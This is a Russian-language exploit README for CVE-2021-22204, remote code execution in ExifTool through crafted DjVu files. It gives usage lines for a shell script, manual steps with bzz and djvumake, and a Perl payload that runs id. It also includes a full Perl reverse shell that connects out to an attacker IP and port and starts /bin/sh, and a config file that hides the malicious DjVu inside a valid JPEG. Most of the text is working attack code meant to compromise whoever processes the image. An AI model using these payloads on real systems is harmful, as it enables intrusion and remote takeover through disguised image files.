
Эксплойт-скрипт для CVE-2021-22204, RCE ExifTool через вредоносные файлы DjVu, с шагами ручной эксплуатации и полезными нагрузками reverse shell.
Неправильная нейтрализация пользовательских данных в формате файлов DjVu в ExifTool версий 7.44 и выше позволяет выполнять произвольный код при разборе вредоносного изображения.

Системная команда:
bash CVE-2021-2204.sh "system('id')" happy.jpg
Обратная оболочка
bash CVE-2021-2204.sh "reverseme 10.10.10.10 9999" happy.jpg
*Ваш IP и PORT
$ sudo apt install djvulibre-bin
# Устанавливает необходимые инструменты
$ bzz payload payload.bzz
# Сжимает наш файл полезной нагрузки, чтобы он не был читаемым человеком
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Любое значение в формате 'N,N', где N — число
# BGjp = Ожидает JPEG-изображение, но мы можем использовать /dev/null как пустой фон
# ANTz = Записывает сжатый аннотационный блок из входного файла
Полезная нагрузка
(metadata "\c${system('id')};")
Полезная нагрузка (для обратной оболочки)
(metadata "\c${use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in(9999,inet_aton('localhost')))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};};#")
Затем, когда жертва открывает файл exploit.djvu с уязвимой версией ExifTool, наш встроенный Perl-код выполнит команду id.
%Image::ExifTool::UserDefined = (
# All EXIF tags are added to the Main table, and WriteGroup is used to
# specify where the tag is written (default is ExifIFD if not specified):
'Image::ExifTool::Exif::Main' => {
# Example 1. EXIF:NewEXIFTag
0xc51b => {
Name => 'HasselbladExif',
Writable => 'string',
WriteGroup => 'IFD0',
},
# add more user-defined EXIF tags here...
},
);
1; #end%
Этот файл позволяет нам записать новый тег в файл с именем HasselbladExif и байтами 0xc51b для его идентификации внутри нашего нового файла. Затем мы можем вставить его в любой файл. [8]Далее используем его и наш уже созданный exploit.djvu для вставки вредоносного DjVu-файла внутрь валидного JPEG.
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' hacker.jpg
configfile = Имя нашего конфигурационного файла;
-HasselbladExif = Имя тега, указанное в конфигурационном файле;
exploit.djvu = Наш эксплойт, ранее созданный с помощью djvumake;
hacker.jpg = Валидный JPEG-файл;
Авторы и помощь: https://blog.convisoappsec.com/en/a-case-study-on-cve-2021-22204-exiftool-rce/